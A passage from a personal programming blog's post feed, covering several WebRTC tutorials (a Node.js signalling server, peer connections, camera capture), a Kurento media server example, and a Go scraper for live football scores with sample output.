connected to the server users var users = {}; //when a user connects to our sever wss.on(\u0026#39;connection\u0026#39;, function(connection){ console.log(\u0026#34;User connected\u0026#34;); //when server gets a message from a connected user connection.on(\u0026#39;message\u0026#39;, function(message){ var data; //accepting only JSON messages try { data = JSON.parse(message); } catch (e) { console.log(\u0026#34;Error parsing JSON\u0026#34;); data = {}; } //switching type of the user message switch (data.type){ //when a user tries to login case \u0026#34;login\u0026#34;: console.log(\u0026#34;User logged as\u0026#34;, data.name); //if anyone has already logged with this username refuse if(users[data.name]){ sendTo(connection, { type: \u0026#34;login\u0026#34;, success: false }); } else { //save user connection on the server users[data.name] = connection; connection.name = data.name; sendTo(connection, { type: \u0026#34;login\u0026#34;, success: true }); } break; case \u0026#34;offer\u0026#34;: //for ex. UserA wants to call UserB console.log(\u0026#34;Sending offer to: \u0026#34;, data.name); //if UserB exists then send him offer details var conn = users[data.name]; if(conn != null){ //setting that UserA connected with UserB connection.otherName = data.name; sendTo(conn, { type: \u0026#34;offer\u0026#34;, offer: data.offer, name: connection.name }); } break; case \u0026#34;answer\u0026#34;: console.log(\u0026#34;Sending answer to: \u0026#34;, data.name); //for ex. UserB answers UserA var conn = users[data.name]; if(conn != null){ connection.otherName = data.name; sendTo(conn, { type: \u0026#34;answer\u0026#34;, answer: data.answer }); } break; case \u0026#34;candidate\u0026#34;: console.log(\u0026#34;Sending candidate to:\u0026#34;,data.name); var conn = users[data.name]; if(conn != null){ sendTo(conn, { type: \u0026#34;candidate\u0026#34;, candidate: data.candidate }); } break; case \u0026#34;leave\u0026#34;: console.log(\u0026#34;Disconnecting user from\u0026#34;, data.name); var conn = users[data.name]; conn.otherName = null; //notify the other user so he can disconnect his peer connection if(conn != null){ sendTo(conn, { type: \u0026#34;leave\u0026#34; }); } break; default: sendTo(connection, { type: \u0026#34;error\u0026#34;, message: \u0026#34;Unrecognized command: \u0026#34; + data.type }); break; } }); //when user exits, for example closes a browser window //this may help if we are still in \u0026#34;offer\u0026#34;,\u0026#34;answer\u0026#34; or \u0026#34;canidate\u0026#34; state connection.on(\u0026#34;close\u0026#34;, function(){ if(connection.name){ delete users[connection.name]; if(connection.otherName){ console.log(\u0026#34;Disconnecting user from \u0026#34;, connection.otherName); var conn = users[connection.otherName]; conn.otherName = null; if(conn != null){ sendTo(conn, { type: \u0026#34;leave\u0026#34; }); } } } }); connection.send(\u0026#34;Hello world\u0026#34;); }); //when server is ready to accept WebSocket connections wss.on(\u0026#39;listening\u0026#39;, function(){ console.log(\u0026#34;Server started...\u0026#34;); }); function sendTo(conn, message){ conn.send(JSON.stringify(message)); } In the real world, signalling is not defined by the WebRTC specification. So there are a few glitches like complex firewall systems or VPN(Virtual Private Network) when you fall back on other technologies such as HTTP instead of WebSockets. I also advise you to check XMPP and SIP protocols which give a lot of power to any typical WebRTC app and SIP-based phone devices integration.\nThat\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-webrtc-part-3/","summary":"In this tutorial we are going to create a basic signalling server using \u003ccode\u003ejavascript\u003c/code\u003e and \u003ccode\u003enodejs\u003c/code\u003e. It will be able to connect two users together.","title":"Comprehensive guide to WebRTC. Part 3/5."},{"content":"The first thing of any WebRTC app is creating an RTCPeerConnection. Creating an RTCPeerConnection will help us to understand the inner workings of peer connections inside the browser.\nWebRTC uses UDP(User Datagram Protocol) as the transport protocol, but most web apps nowadays are using TCP(Transmission Control Protocol).\nTCP guarantees that: 1. Any data sent will be marked as received 2. If your data is failed to send it is going to be resent blocking the sending of any more data 3. No data will be duplicated on the other side\nUDP does not guarantee: 1. The order of your data 2. The receiving of data on the other side 3. The integrity of your data\nAnyway, WebRTC uses UDP because it is faster than TCP and we may afford missing few video frames.\nThe RTCPeerConnection is the core object of the WebRTC API. It handles initializing connections, connection to peers and attaching media streams.\nYou can create it simply:\nvar conn = new RTCPeerConnection(configuration); conn.onaddstream = function(stream){ //using stream here }; The onaddstream event is fired when the remote user adds video or audio stream to their peer connection.\nConnecting to another browser means finding where the other browser is located on the Web. Your browser needs to get the IP address, the port number and device information from another browser. This means exchanging data about which protocols your device supports. This process is called as signalling and negotiation in WebRTC. It consists of few steps: 1. Create a list of potential candidates(users we can connect to) for a peer connection 2. The user or an app selects a user to make a connection with 3. The signalling layer notifies that user that someone wants to connect to him, and he can accept or decline 4. The first user is notified of the acceptance of the offer to connect 5. If accepted, the first user initializes RTCPeerConenction with the other user 6. Both users exchange hardware and software information over the signalling level 7. Both users exchange location information over signalling level 8. The connection succeeds or fails\nIt is just one example. In reality the WebRTC specification does not contain any information of how to exchange data.\nTo connect to another user we need to know information about his device. This is what SDP(Session Description Protocol) provides us with. The SDP is a string-based data provided by the browser in the key-value format. The SDP is given by the RTCPeerConenction during the establishing a connection with another user. It may look like this:\nv=0 o=Andrew 2890844526 2890844526 IN IP4 10.120.42.3 s= SDP Blog c=IN IP4 10.120.42.3 t=0 0 m=audio 49170 RTP/AVP 0 8 97 a=rtpmap:0 PCMU/8000 a=rtpmap:8 PCMA/8000 a=rtpmap:97 iLBC/8000 m=video 51372 RTP/AVP 31 32 a=rtpmap:31 H261/90000 So SDP is just an information card of your device.\nConnecting to another user means finding a clear path not just around your own network but the other user\u0026rsquo;s network as well. Three technologies are used here: 1. STUN(Session Traversal Utilities for NAT) 2. TURN(Traversal Using Relays around NAT) 3. ICE(Interactive Connectivity Establishment)\nSTUN makes a request to the server, enabled with the STUN protocol. The server identifies the IP address of the client and sends it back. Currently, in Chrome and Firefox default servers are provided directly from the browser vendors.\nIn some cases firewall might not allow any STUN traffic to the other user. In this case, we need TURN. It works by adding a relay in between the clients that acts as a peer to peer connection on behalf of the client.\nICE is the process that utilizes STUN and TURN. It works by finding a range of addressed available to each user and testing each address in sorted order until it finds a combination that will work for both users. When the browser finds a new candidate, it notifies the client app that it needs to send the ICE candidate through the signalling channel.\nWe are going to create an app that will get 2 video streams, one coming from the webcam directly and one coming from a WebRTC connection that the browser has made locally.\nCreate an index.html.\nThere are 2 video elements. we will be considered the local user. him will be considered the remote user we are making a connection to.\nOur app will be working in this way: 1. Check if the browser supports the WebRTC 2. Get User Media 3. Create peer connection 4. Add ICE handlers 5. Start offer/response 6. Make a connection\nAdd main.js:\n//checks if the browser supports WebRTC function hasUserMedia(){ navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; return !!navigator.getUserMedia; } //checks if the browser supports RTCPeerConnection function hasRTCPeerConnection(){ window.RTCPeerConnection = window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection; return !!window.RTCPeerConnection; } var ourVideo = document.querySelector(\u0026#39;#we\u0026#39;), hisVideo = document.querySelector(\u0026#39;#him\u0026#39;), ourConnection, hisConnection; if(hasUserMedia()){ //getting the stream from a webcam navigator.getUserMedia({video: true, audio: true}, function(stream){ //setting local video ourVideo.src = window.URL.createObjectURL(stream); if(hasRTCPeerConnection()){ startPeerConnection(stream); } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } }, function(error){ alert(\u0026#34;Sorry, we failed to capture your camera, please try again\u0026#34;); }); } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } function startPeerConnection(stream){ //using google ICE servers var configuration = { iceServers: [ {url: \u0026#34;stun:23.21.150.121\u0026#34;}, {url: \u0026#34;stun:stun.1.google.com:19302\u0026#34;} ] }; ourConnection = new webkitRTCPeerConnection(configuration); hisConnection = new webkitRTCPeerConnection(configuration); //setup stream listening ourConnection.addStream(stream); /* * When the user adds a stream to their peer connection, this * notification is sent across the connection. The browser than * calls onaddstream to notify the user that a stream has been added * */ hisConnection.onaddstream = function(e){ hisVideo.src = window.URL.createObjectURL(e.stream); }; //creating the SDP offer ourConnection.createOffer(function(offer){ ourConnection.setLocalDescription(offer); hisConnection.setRemoteDescription(offer); //creating answer from remote to local RTCPeerConnection hisConnection.createAnswer(function(offer){ hisConnection.setLocalDescription(offer); ourConnection.setRemoteDescription(offer); }); }); //setup ice handling ourConnection.onicecandidate = function(event){ if(event.candidate){ hisConnection.addIceCandidate(new RTCIceCandidate(event.candidate)); } }; hisConnection.onicecandidate = function(event){ if(event.candidate){ ourConnection.addIceCandidate(new RTCIceCandidate(event.candidate)); } }; } demo\nThat\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-webrtc-part-2/","summary":"The first thing of any WebRTC app is creating an \u003ccode\u003eRTCPeerConnection\u003c/code\u003e. Creating an \u003ccode\u003eRTCPeerConnection\u003c/code\u003e will help us to understand the inner workings of peer connections inside the browser.","title":"Comprehensive guide to WebRTC. Part 2/5."},{"content":"WebRTC (Web Real-Time Communication) is your browser built-in technology with the aim to simplify developing applications using audio and video streams. You can easily build your own Skype in the browser using WebRTC. So the simple idea is that you open up a website and connect with another user immediately. WebRTC API includes camera and microphone capture, video and audio encoding and decoding, transportation layers, and session management.\nUnder the hood, WebRTC leverages a basic peer-to-peer connection between two browsers. Lots of apps today use peer-to-peer capabilities, such as file sharing, text chat, and others.\nThere are 3 browsers which support WebRTC out-of-the-box - Chrome, Firefox, and Opera. You can check browser compatibility at http://caniuse.com/#search=webrtc.\nLater and then I assume you are using Chrome, Firefox or Opera. As for me, I\u0026rsquo;m using Chrome for WebRTC tests. To discover the possibilities of WebRTC navigate your browser to https://opentokrtc.com, enter a room name, click \u0026ldquo;join\u0026rdquo; and \u0026ldquo;allow\u0026rdquo;. You must be able to see yourself. Then reopen this page in a new tab and enjoy your new friend :)\nTo sum up it is a worth learning technology that brings rich media into your browser.\nThe first WebRTC app Let\u0026rsquo;s start with obtaining a live video and audio stream from a user\u0026rsquo;s webcam and microphone. We will use the getUserMedia API. It is also known as MediaStream API. One of the requirements for working with media APIs is having a server to host HTML and JS files. Opening up the files by double-click will not work.\nOur first WebRTC app will be simple. It will show a video element on the screen, ask user to use the camera and show live video stream.\nCreate a file named index.html.\nCreate main.js in the same folder:\n//check if the browser supports WebRTC function hasUserMedia(){ return !!(navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia); } //video and audio options of our stream var constraints = { video: { mandatory: { minWidth: 640, minHeight: 480 } }, audio: true } //if the browser supports WebRTC if(hasUserMedia()){ //getting getUserMedia function depending on the browser navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; //asking user if we can use his webcam and microphone navigator.getUserMedia(constraints, function(stream){ //stream - our stream from webcam var video = document.querySelector(\u0026#39;video\u0026#39;); //inserting our stream into video tag video.src = window.URL.createObjectURL(stream); }, function(err){}); } else { alert(\u0026#34;Sorry, your browser does not support getUserMedia\u0026#34;); } Refresh your page, click \u0026ldquo;allow\u0026rdquo; and you should see your face.\ndemo\nThe second app We can configure the stream using the first parameter of the getUserMedia API. For example to turn off the video stream and remain only audio we can use:\nnavigator.getUserMedia({ video: false, audio: true }, function (stream) { // now browser ask only for microphone support }); There are also other params which can constrain our stream. For example, you might want the mobile phone users only to capture a 480x320 resolution and desktop users 1024x768 resolution and 16:9 aspect ratio.\nCreate index.html.\nAdd main.js file:\n//check if the browser supports WebRTC function hasUserMedia(){ return !!(navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia); } //desktop user constraints var constraints = { video: { mandatory: { minAspectRatio: 1.777, maxAspectRatio: 1.778 }, optional: [ { maxWidth: 1024 }, { maxHeight: 768 } ] }, audio: true } //if this is mobile device if(/Android|iPhone/i.test(navigator.userAgent)){ //mobile device constraints constraints = { video: { mandatory: { maxWidth: 480, maxHeight: 320 } }, audio: true } } if(hasUserMedia()){ //getting getUserMedia object depending on the browser navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; //asking user if we can use his webcam and microphone navigator.getUserMedia(constraints, function(stream){ var video = document.querySelector(\u0026#39;video\u0026#39;); //inserting our stream into video tag video.src = window.URL.createObjectURL(stream); }, function(err){}); } else { alert(\u0026#34;Sorry, your browser does not support getUserMedia\u0026#34;); } Now resolution on the mobile phone should be smaller than on the desktop. There are more constraints at https://tools.ietf.org/html/draft-alvestrand-constraints-resolution-03.\ndemo\nThe 3rd app Sometimes there are more than one camera or microphone on the user\u0026rsquo;s device. With MediaSourceTrack API we can ask a list of available devices and select the one we need.\nCreate index.html.\nmain.js\n//getting info about available audio and video devices MediaStreamTrack.getSources(function(sources){ var audioSource = null; var videoSource = null; for(var i = 0; i \u0026lt; sources.length; ++i){ var source = sources[i]; if(source.kind === \u0026#34;audio\u0026#34;){ console.log(\u0026#34;Microphone found:\u0026#34;, source.label, source.id); audioSource = source.id; } else if(source.kind === \u0026#34;video\u0026#34;){ console.log(\u0026#34;Camera found:\u0026#34;, source.label, source.id); videoSource = source.id; } else { console.log(\u0026#34;Unknown source found:\u0026#34;, source); } } var constraints = { audio: { optional: [{sourceId:audioSource}] }, video: { optional: [{sourceId:videoSource}] } }; //asking user for webcam and microphone access navigator.webkitGetUserMedia(constraints, function(stream){ var video = document.querySelector(\u0026#34;video\u0026#34;); video.src = window.URL.createObjectURL(stream); }, function(err){ console.log(\u0026#34;Raised an error when capturing:\u0026#34;, error); }); }); Open the page and see the console output. demo(Chrome only)\nThe 4th app Let\u0026rsquo;s create an app which will capture a video frame, apply different effects on this picture, add some text to it and draw it on the web page. We will use Canvas API.\nCreate index.html.\nmain.js\n//check if the browser supports WebRTC function hasUserMedia(){ return !!(navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia); } if(hasUserMedia()){ //getting getUserMedia object depending on the browser navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; var video = document.querySelector(\u0026#39;video\u0026#39;), canvas = document.querySelector(\u0026#39;canvas\u0026#39;), streaming = false; //asking user for webcam and microphone access navigator.getUserMedia({ video: true, audio: true }, function(stream){ video.src = window.URL.createObjectURL(stream); streaming = true; }, function(error){ console.log(\u0026#34;Raised an error when capturing:\u0026#34;, error); }); //when click on \u0026#34;take photo\u0026#34; button document.querySelector(\u0026#34;#takePhoto\u0026#34;).addEventListener(\u0026#39;click\u0026#39;, function(event){ if(streaming){ canvas.width = video.clientWidth; canvas.height = video.clientHeight; var context = canvas.getContext(\u0026#39;2d\u0026#39;); //insert video frame into canvas context.drawImage(video, 0, 0); } }); //filter support var filters = [\u0026#39;\u0026#39;, \u0026#39;sepia\u0026#39;, \u0026#39;invert\u0026#39;], currentFilter = 0; //when clicking on the video document.querySelector(\u0026#39;video\u0026#39;).addEventListener(\u0026#39;click\u0026#39;, function(event){ if(streaming){ canvas.width = video.clientWidth; canvas.height = video.clientHeight; var context = canvas.getContext(\u0026#39;2d\u0026#39;); context.drawImage(video, 0, 0); //apply css filters currentFilter++; if(currentFilter \u0026gt; filters.length - 1) currentFilter = 0; canvas.className = filters[currentFilter]; //write text on the canvas context.fillStyle = \u0026#34;white\u0026#34;; context.fillText(\u0026#34;This is text!\u0026#34;, 10, 10); } }); } else { alert(\u0026#34;Sorry, your browser does not support getUserMedia\u0026#34;); } Now of you click \u0026ldquo;take photo\u0026rdquo; button you will capture video frame into the canvas. If you click on the video itself you will apply different photo effects to the picture.\ndemo\nThat\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-webrtc-part-1/","summary":"WebRTC (Web Real-Time Communication) is your browser built-in technology with the aim to simplify developing applications using audio and video streams. You can easily build your own Skype in the browser using WebRTC. So the simple idea is that you open up a website and connect with another user immediately. WebRTC API includes camera and microphone capture, video and audio encoding and decoding, transportation layers, and session management.","title":"Comprehensive guide to WebRTC. Part 1/5."},{"content":"Today we are going to try kurento media server and create a simple webrtc application.\nKurento is an open-source media server with WebRTC support. So if your customer wants to integrate video/audio chat on his website Kurento may solve this problem.\nThis is a sample video of what we are going to do: So let\u0026rsquo;s start. First of all you should install Kurento media server(KMS) on your local computer. These steps can be viewed here.\nMost KMS apps consists of 3 parts: client(browser), application server(like node.js where we call KMS API) and media server itself. The media server is like a constructor. To create it you should create a so called pipeline - a container where all of your media objects will live. And then just add different media objects to the pipeline and implement the features you need.\nCreate a project folder and insert bower.json file:\n{ \u0026#34;name\u0026#34;: \u0026#34;kurento-basics\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.0.1-dev\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Trying Kurento WebRTC\u0026#34;, \u0026#34;authors\u0026#34;: [ \u0026#34;Kurento \u0026lt;info@kurento.org\u0026gt;\u0026#34; ], \u0026#34;main\u0026#34;: \u0026#34;index.html\u0026#34;, \u0026#34;moduleType\u0026#34;: [ \u0026#34;globals\u0026#34; ], \u0026#34;license\u0026#34;: \u0026#34;LGPL\u0026#34;, \u0026#34;homepage\u0026#34;: \u0026#34;http://www.kurento.org/\u0026#34;, \u0026#34;private\u0026#34;: true, \u0026#34;ignore\u0026#34;: [ \u0026#34;**/.*\u0026#34;, \u0026#34;node_modules\u0026#34;, \u0026#34;bower_components\u0026#34;, \u0026#34;test\u0026#34;, \u0026#34;tests\u0026#34; ], \u0026#34;dependencies\u0026#34;: { \u0026#34;adapter.js\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;bootstrap\u0026#34;: \u0026#34;~3.3.0\u0026#34;, \u0026#34;ekko-lightbox\u0026#34;: \u0026#34;~3.3.0\u0026#34;, \u0026#34;demo-console\u0026#34;: \u0026#34;master\u0026#34;, \u0026#34;kurento-client\u0026#34;: \u0026#34;master\u0026#34;, \u0026#34;kurento-utils\u0026#34;: \u0026#34;master\u0026#34; } } Then run bower install to install all dependencies.\nSo let\u0026rsquo;s create a simple html page. There will be 2 video tags. The first one will show us a live video from our webcam. The second one will push video stream from our webcam to KMS, and then push it back to our browser.\nFrom webcam to browser Start Stop From webcam to media server and then to browser Create js folder in your project and add index.js:\n//basic arguments var args = { //web socket address on our local machine ws_uri: \u0026#34;ws://\u0026#34; + location.hostname + \u0026#34;:8888/kurento\u0026#34;, ice_servers: undefined } window.addEventListener(\u0026#39;load\u0026#39;, function(){ //this is our stream from webcam var webRtcPeer; //constructor where we add different mediaobjects var pipeline; //video from webcam var videoInput = document.getElementById(\u0026#39;videoInput\u0026#39;); //video stream which is sent to media server and back to browser var videoOutput = document.getElementById(\u0026#39;videoOutput\u0026#39;); //start streaming var startButton = document.getElementById(\u0026#39;start\u0026#39;); //stop streaming var stopButton = document.getElementById(\u0026#39;stop\u0026#39;); //on start button click startButton.addEventListener(\u0026#39;click\u0026#39;, function(){ var options = { localVideo: videoInput, remoteVideo: videoOutput }; if(args.ice_servers){ options.configuration = { iceServers:JSON.parse(args.ice_servers) }; } //local stream starts working webRtcPeer = kurentoUtils.WebRtcPeer.WebRtcPeerSendrecv(options, function(error){ if(error) return onError(error); //callback for receiving SDP offer //SDP is used for negotiating media exchanges between applications this.generateOffer(onOffer); }); //when application want to connect to our media server function onOffer(error, sdpOffer){ if(error) return onError(error); //kurentoClient is used for managing KMS API kurentoClient(args.ws_uri, function(error, client){ if(error) return onError(error); //creating pipeline, constructor for media objects client.create(\u0026#34;MediaPipeline\u0026#34;, function(error, _pipeline){ if(error) return onError(error); pipeline = _pipeline; //adding object WebRtcEndpoint //it is a media element with the capability of receiving and sending WebRTC flows pipeline.create(\u0026#34;WebRtcEndpoint\u0026#34;, function(error, webRtc){ if(error) return onError(error); //setting callbacks when we are ready to connect our webcam peer with KMS setIceCandidateCallbacks(webRtcPeer, webRtc, onError); //finishing SDP webRtc.processOffer(sdpOffer, function(error, sdpAnswer){ if(error) return onError(error); webRtcPeer.processAnswer(sdpAnswer, onError); }); webRtc.gatherCandidates(onError); //connecting WebRTCEndpoint to itself webRtc.connect(webRtc, function(error){ if(error) return onError(error); }); }); }); }); } }); function setIceCandidateCallbacks(webRtcPeer, webRtcEp, error){ webRtcPeer.on(\u0026#39;icecandidate\u0026#39;, function(candidate){ candidate = kurentoClient.register.complexTypes.IceCandidate(candidate); webRtcEp.addIceCandidate(candidate, onerror); }); webRtcEp.on(\u0026#34;OnIceCandidate\u0026#34;, function(event){ var candidate = event.candidate; webRtcPeer.addIceCandidate(candidate, onerror); }); } stopButton.addEventListener(\u0026#34;click\u0026#34;, stop); //remove our webcam peer and pipeline function stop(){ if(webRtcPeer){ webRtcPeer.dispose(); webRtcPeer = null; } if(pipeline){ pipeline.release(); pipeline = null; } } function onError(error){ if(error){ console.error(error); stop(); } } }); That\u0026rsquo;s all. Hope I helped you a bit )\nProject files\n","permalink":"https://www.ryzhak.com/getting-started-with-kurento-webrtc/","summary":"\u003cp\u003eToday we are going to try kurento media server and create a simple webrtc application.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.kurento.org/\"\u003eKurento\u003c/a\u003e is an open-source media server with WebRTC support. So if your customer wants to integrate video/audio chat on his website Kurento may solve this problem.\u003c/p\u003e\n","title":"Getting started with Kurento WebRTC"},{"content":"This time we are going to create a HTML parser for http://www.flashscore.com/ .\nWe need:\nchromedriver this library https://github.com/fedesog/webdriver We are using chromedriver because flashscore.com loads livescore results using ajax, so we need a real browser.\nSo create new golang package and run go get github.com/fedesog/webdriver\nParser source code:\npackage go_flashscore_parser import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;github.com/fedesog/webdriver\u0026#34; \u0026#34;time\u0026#34; \u0026#34;strings\u0026#34; ) type matchBlock struct { countryName string leagueName string matches []match } type match struct { homeTeamName string awayTeamName string goalsHome string goalsAway string startTime string } const ( FLASHSCORE_URL = \u0026#34;http://www.flashscore.ru\u0026#34; FLASHSCORE_LOAD_TIME = 10 //time waiting while page loads ) //parses all games into a struct func GetGames(chromeDriverPath string) []matchBlock { //adding chromedriver and opening page chromeDriver := webdriver.NewChromeDriver(chromeDriverPath) err := chromeDriver.Start() if err != nil { log.Println(err) } desired := webdriver.Capabilities{\u0026#34;Platform\u0026#34;: \u0026#34;Linux\u0026#34;} required := webdriver.Capabilities{} session, err := chromeDriver.NewSession(desired, required) if err != nil { log.Println(err) } err = session.Url(FLASHSCORE_URL) if err != nil { log.Println(err) } //wait for page to load time.Sleep(FLASHSCORE_LOAD_TIME * time.Second) //array game blocks var blocks []matchBlock //find all blocks with games //find all tables with class \u0026#34;soccer\u0026#34; HTMLblocks, _ := session.FindElements(webdriver.CSS_Selector, \u0026#34;table.soccer\u0026#34;) for i := 0; i \u0026lt; len(HTMLblocks); i++ { //games in block var matches []match //finding country name //find element with class \u0026#34;country_part\u0026#34; element, err := HTMLblocks[i].FindElement(webdriver.ClassName, \u0026#34;country_part\u0026#34;) if err != nil { fmt.Println(\u0026#34;Can not find country\u0026#34;) } //extracting text value from the element textValue, err := element.Text() if err != nil { fmt.Println(\u0026#34;Can not extract text\u0026#34;) } //deleting \u0026#34;:\u0026#34; from country name countryName := strings.Replace(textValue, \u0026#34;:\u0026#34;, \u0026#34;\u0026#34;, -1) //finding league name //finding element with class \u0026#34;tournament_part\u0026#34; element, err = HTMLblocks[i].FindElement(webdriver.ClassName, \u0026#34;tournament_part\u0026#34;) //extracting text value from the element leagueName, err := element.Text() if err != nil { fmt.Println(\u0026#34;Can not extract league name text\u0026#34;) } //finding all games in current league matchTRs, err := HTMLblocks[i].FindElements(webdriver.CSS_Selector, \u0026#34;tbody tr\u0026#34;) if err != nil { fmt.Println(\u0026#34;Can not find matches in league\u0026#34;) } for j := 0; j \u0026lt; len(matchTRs); j++ { //finding team names homeTeamNameEl, err := matchTRs[j].FindElement(webdriver.CSS_Selector, \u0026#34;span.padr\u0026#34;) if err != nil { fmt.Println(\u0026#34;Can not find homeTeamName\u0026#34;) } awayTeamNameEl, err := matchTRs[j].FindElement(webdriver.CSS_Selector, \u0026#34;span.padl\u0026#34;) if err != nil { fmt.Println(\u0026#34;Can not find awayTeamName\u0026#34;) } homeTeamName, err := homeTeamNameEl.Text() if err != nil { fmt.Println(\u0026#34;Can not extract homeTeamName text\u0026#34;) } awayTeamName, err := awayTeamNameEl.Text() if err != nil { fmt.Println(\u0026#34;Can not extract awayTeamName text\u0026#34;) } //finding scores tdScoreEl, err := matchTRs[j].FindElement(webdriver.ClassName, \u0026#34;score\u0026#34;) if err != nil { fmt.Println(\u0026#34;Can not find score element\u0026#34;) } tdScoreText, err := tdScoreEl.Text() if err != nil { fmt.Println(\u0026#34;Can not extract text score\u0026#34;) } //if game is playing or finished goalsHome := \u0026#34;\u0026#34; goalsAway := \u0026#34;\u0026#34; tdLength := len(tdScoreText) if(tdLength == 5){ goalsHome = string(tdScoreText[0]); goalsAway = string(tdScoreText[tdLength - 1]); } //finding start time tdTimeEl, err := matchTRs[j].FindElement(webdriver.ClassName, \u0026#34;time\u0026#34;) if err != nil { fmt.Println(\u0026#34;Can not time element\u0026#34;) } startTime, err := tdTimeEl.Text() if err != nil { fmt.Println(\u0026#34;Can not extract text from time\u0026#34;) } matches = append(matches, match{homeTeamName:homeTeamName, awayTeamName:awayTeamName, goalsHome:goalsHome, goalsAway:goalsAway, startTime:startTime}) } blocks = append(blocks, matchBlock{countryName:countryName, leagueName: leagueName, matches: matches}) } session.Delete() chromeDriver.Stop() return blocks; } //shows all live games func Show(blocks []matchBlock){ for i:=0; i \u0026lt; len(blocks); i++ { fmt.Printf(\u0026#34;%s %s\\n\u0026#34;, blocks[i].countryName, blocks[i].leagueName) for j:=0; j \u0026lt; len(blocks[i].matches); j++ { fmt.Printf(\u0026#34;%s %s %s:%s %s\\n\u0026#34;, blocks[i].matches[j].startTime, blocks[i].matches[j].homeTeamName, blocks[i].matches[j].goalsHome, blocks[i].matches[j].goalsAway, blocks[i].matches[j].awayTeamName) } } } How to use our package:\npackage main import ( //import our package flashscoreParser \u0026#34;github.com/ryzhak/go_flashscore_parser\u0026#34; ) func main() { //path to chromedriver chromeDriverPath := \u0026#34;/usr/local/bin/chromedriver\u0026#34; games := flashscoreParser.GetGames(chromeDriverPath) flashscoreParser.Show(games) } Result output:\nEUROPE Champions League - Qualification 17:00 FC Astana (Kaz) 3:2 HJK (Fin) 19:30 Qarabag (Aze) : Celtic (Sco) 19:45 Sparta Prague (Cze) : CSKA Moscow (Rus) 20:30 BATE (Blr) : Videoton (Hun) 21:15 Basel (Sui) : Lech Poznan (Pol) 21:30 Club Brugge (Bel) : Panathinaikos (Gre) 21:30 Malmo FF (Swe) : Salzburg (Aut) 21:30 Partizan (Srb) : Steaua Bucuresti (Rou) 21:45 Plzen (Cze) : Maccabi Tel Aviv (Isr) 21:45 Shakhtar (Ukr) : Fenerbahce (Tur) 21:45 Skenderbeu (Alb) : Milsami (Mda) ARGENTINA Copa Argentina 21:00 Ferro : Los Andes ASIA East Asian Championship 13:20 Japan 1:1 South Korea 16:00 China 2:0 North Korea AUSTRALIA FFA Cup 13:30 Croydon Kings 1:2 Queensland Lions 13:30 Darwin Olympic 1:6 Adelaide United 13:30 Rockdale City Suns 3:1 Perth SC 13:30 Sorrento 0:2 Sydney FC BRAZIL Série B 03:00 America MG 2:0 Parana 03:00 Sampaio Correa 2:0 Bragantino CHILE Chilean Cup 18:00 Rangers 0:3 U. De Chile 20:00 Coquimbo : La Serena 21:30 Everton : S. Wanderers ENGLAND WSL 1 Women 21:30 Notts County W : Bristol Academy W ESTONIA Estonian Cup 19:00 Jarva-Jaani : Vutiselts 19:00 Tabivere : Pirita 19:00 Tammeka Tartu : Maardu 20:30 Tallinna SK Dnipro : Welco Elekter FINLAND Ykkonen 18:30 JJK Jyväskylä 0:0 Jazz Pori FINLAND Kakkonen North 18:30 JBK 0:0 YPA 18:30 Kiisto 0:0 Kerho 07 18:30 KPV Kokkola 1:0 GBK Kokkola 18:30 OPS 0:0 Santa Claus 18:30 TP-47 0:0 AC Kajaani FINLAND Kakkonen South 18:30 Gnistan 1:0 JaPS 18:30 Keski-Uusimaa 0:0 Vaajakoski 18:30 NJS 1:0 TPV FINLAND Kakkonen East 18:30 Kultsu 0:1 Viikingit 18:30 Lahti Akatemia 0:0 JIPPO 18:30 Sudet 0:0 Klubi 04 FINLAND Kakkonen West 18:30 Åbo 0:0 MuSa 18:30 ESC 0:0 MaPS 18:30 KaaPo 0:1 BK-46 18:30 SalPa 1:1 Narpes GERMANY Regionalliga Nordost 19:00 Jena : Schönberg HUNGARY Hungarian Cup 18:00 Babocsa : Mateszalkai MTK 18:00 Nagyecsed : REAC 18:00 Tiszakanyar : Nyirbatori FC ICELAND Pepsideild 21:00 ÍBV Vestmannaeyjar : Fylkir 22:15 Breidablik : Keflavik 22:15 Fjolnir : KR Reykjavik 22:15 Hafnarfjordur : Valur 22:15 Leiknir : Stjarnan 22:15 Vikingur Reykjavik : Akranes ISRAEL Toto Cup 19:00 Sakhnin : Maccabi Haifa 19:30 Hapoel Kfar-Saba : H. Raanana 20:00 Hapoel Haifa : H. Akko LATVIA Latvian Cup 19:00 Preilu BJSS : Spartaks LITHUANIA A Lyga 18:00 Stumbras 0:1 Atlantas 20:00 Siauliai : Trakai LITHUANIA Lithuanian Cup 18:00 Rotalis : Silute MALAYSIA Super League 15:45 FELDA 0:0 Kelantan 15:45 Johor DT 4:0 Sime Darby 15:45 Pahang 2:0 ATM FA 15:45 PDRM FA 3:2 Perak 15:45 Sarawak FA 1:1 Selangor 15:45 Terengganu 4:2 LionsXII MALTA Summer Cup 21:15 Balzan Youths : Qormi MEXICO Copa Mexico - Apertura 03:00 Cruz Azul 0:1 Venados 03:00 Monarcas 1:0 Dep. Tepic 03:00 Puebla 2:0 Celaya 03:00 Zacatepec 1:2 Club Tijuana 05:00 Atlante 3:2 Pachuca 05:00 